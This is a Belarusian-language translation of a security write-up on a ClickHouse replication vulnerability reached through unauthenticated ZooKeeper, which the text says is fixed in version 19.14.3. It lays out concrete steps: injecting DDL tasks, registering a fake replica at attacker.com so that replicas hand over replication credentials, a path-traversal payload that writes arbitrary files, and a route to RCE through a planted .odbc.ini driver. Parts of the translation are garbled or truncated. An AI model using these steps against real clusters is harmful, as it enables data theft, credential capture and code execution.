У гэтым артыкуле будзе гісторыя аб адной вельмі характэрнай уразлівасці ў пратаколе рэплікацыі ў ClickHouse, а таксама будзе паказана, як можна пашырыць плоскасць нападу.
ClickHouse - гэта база дадзеных для захоўвання вялікіх аб'ёмаў дадзеных, часцей за ўсё выкарыстоўваецца больш за адну рэплікі. Кластарызацыя і рэплікацыя ў ClickHouse будуюцца па-над
Усталяванне ZK па змаўчанні не патрабуе аўтэнтыфікацыі, так што тысячы ZK сервераў, якія выкарыстоўваюцца для канфігурацыі Kafka, Hadoop, ClickHouse даступныя публічна.
Для скарачэння плоскасці нападу вы заўсёды павінны наладжваць аўтэнтыфікацыю і аўтарызацыю пры ўсталёўцы ZooKeeper
Ёсць вядома некалькі 0day на аснове Java дэсерыялізацыі, але ўявіце сабе, што зламыснік можа чытаць і пісаць у ZooKeeper, які выкарыстоўваецца для рэплікацыі ClickHouse.
Пры наладзе ў кластарным рэжыме ClickHouse падтрымлівае размеркаваныя запыты /clickhouse/task_queue/ddl
.
Напрыклад вы ствараеце вузел /clickhouse/task_queue/ddl/query-0001
са змесцівам:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
а пасля гэтага на серверах кластара host1 і host2 табліца test будзе выдалена. DDL таксама падтрымлівае запуск запытаў CREATE/ALTER/DROP.
Гучыць страшна? Але дзе ж атакавалы зможа атрымаць адрасы сервераў?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
будуць створаны вузлы слупкоў и метададзеных.
змесціва /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Ці можна зліць дадзеныя з гэтага кластара? Так, калі порт рэплікацыі (TCP/9009
) на серверы chXX-address
не будзе зачынены firewall і не будзе настроена аўтэнтыфікацыя для рэплікацыі. Як абысці аўтэнтыфікацыю?
Атакуючы можа стварыць новую рэпліку ў ZK, проста капіюючы змесціва з /clickhouse/tables/01-01/foobar/replicas/chXX
і змяняючы значэнне host
.
змесціва /clickhouse/tables/01–01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Затым трэба сказаць астатнім рэплікам, што на серверы атакавалага ёсць новы блок дадзеных, які ім трэба забраць - ствараецца вузел у ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX манатонна які расце лічыльнік, які павінен быць больш, чым апошні ў часопісе падзей):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
дзе source_replica - імя рэплікі атакавалага, створанай на папярэднім кроку, block_id - Ідэнтыфікатар блока дадзеных, атрымліваць - каманда "get block" (а
Далей кожная рэпліка чытае новую падзею ў часопісе і ідзе на сервер, падкантрольны зламысніку, для атрымання блока дадзеных (пратакол рэплікацыі двайковы, працуе па-над HTTP). Сервер attacker.com
будзе атрымліваць запыты:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
дзе XXX - і ёсць дадзеныя аўтэнтыфікацыі для рэплікацыі. У некаторых выпадках гэта можа быць уліковы запіс з доступам да базы дадзеных па асноўным пратаколе ClickHouse і пратаколу HTTP. Як вы бачылі, плоскасць нападу становіцца крытычна вялікай, таму што ZooKeeper, які выкарыстоўваецца для рэплікацыі, застаўся без наладжанай аўтэнтыфікацыі.
Давайце паглядзім на функцыю атрымання блока дадзеных з рэплікі, яна напісана з поўнай упэўненасцю, што ўсе рэплікі пад правільным кантролем і паміж імі ёсць давер.
код апрацоўкі рэплікацыі
Функцыя чытае спіс файлаў, затым іх імёны, памеры, змесціва, пасля чаго піша іх у файлавай сістэме. Варта асобна апісаць, як захоўваюцца дадзеныя ў файлавай сістэме.
Ёсць некалькі падкаталогаў у /var/lib/clickhouse
(каталог захоўвання па-змаўчанні з канфігурацыйнага файла):
Сцягі - каталог для запісу
tmp - каталог захоўвання часовых файлаў;
user_files - аперацыі з файламі ў запытах абмежаваныя гэтым каталогам (INTO OUTFILE і іншыя);
метададзеных - файлы sql з апісаннямі табліц;
preprocessed_configs - апрацаваныя вытворныя канфігурацыйныя файлы з /etc/clickhouse-server
;
gegevens - уласна каталог з самімі дадзенымі, у гэтым выпадку для кожнай базы проста ствараецца асобны падкаталог тут (напрыклад /var/lib/clickhouse/data/default
).
Для кожнай табліцы ствараецца падкаталог у каталогу з базай даных. Кожны слупок - асобны файл у залежнасці ад
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
Рэпліка чакае атрыманні файлаў з такімі ж імёнамі пры апрацоўцы блока дадзеных і не правярае іх якім-небудзь спосабам.
Уважлівы чытач, верагодна, ужо чуў пра небяспечную канкатэнацыю file_name у функцыі WriteBufferFromFile
. Так, гэта дазваляе атакаваламу запісаць адвольны кантэнт у любы файл на ФС з правамі карыстальніка clickhouse
. Для гэтага рэпліка, падкантрольная атакаваламу, павінна вярнуць наступны адказ на запыт (для прастаты разумення дададзены пераносы радкоў):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
а пасля канкатэнацыі ../../../../../../../../../tmp/pwned
будзе запісаны файл /tmp/pwned са змесцівам hellofromzookeeper.
Ёсць некалькі варыянтаў ператварэння магчымасці запісу файлаў у выдалены запуск кода (RCE).
Вонкавыя слоўнікі ў RCE
У старых версіях каталог з наладамі ClickHouse захоўваўся з правамі карыстальніка Clickhouse па змаўчанні. Файлы налад уяўляюць сабой файлы XML, якія сэрвіс чытае пры запуску, а затым кэшуецца ў /var/lib/clickhouse/preprocessed_configs
. Пры зменах яны перачытваюцца. Пры наяўнасці доступу да /etc/clickhouse-server
атакуючы можа стварыць уласны root
.
ODBC у RCE
Пры ўсталёўцы пакета ствараецца карыстач clickhouse
, пры гэтым не ствараецца яго хатні каталог /nonexistent
. Аднак пры выкарыстанні вонкавых слоўнікаў, або па іншых прычынах, адміністратары ствараюць каталог /nonexistent
і даюць карыстачу clickhouse
доступ на запіс у яго (ССЗБ! заўв. перакладчыка).
ClickHouse падтрымлівае odbc-bridge
, так што зараз немагчыма паказаць шлях да драйвера з запыту. Але атакавалы можа пісаць у хатні каталог, выкарыстоўваючы ўразлівасць, апісаную вышэй?
Давайце створым файл ~/.odbc.ini
з такім змесцівам:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
затым пры запуску SELECT * FROM odbc('DSN=lalala', 'test', 'test');
будзе падгружана бібліятэка test.so
і атрымана RCE (дзякуй
Гэтыя і іншыя ўразлівасці былі выпраўлены ў версіі ClickHouse 19.14.3. Беражыце свае ClickHouse і ZooKeepers!
Крыніца: habr.com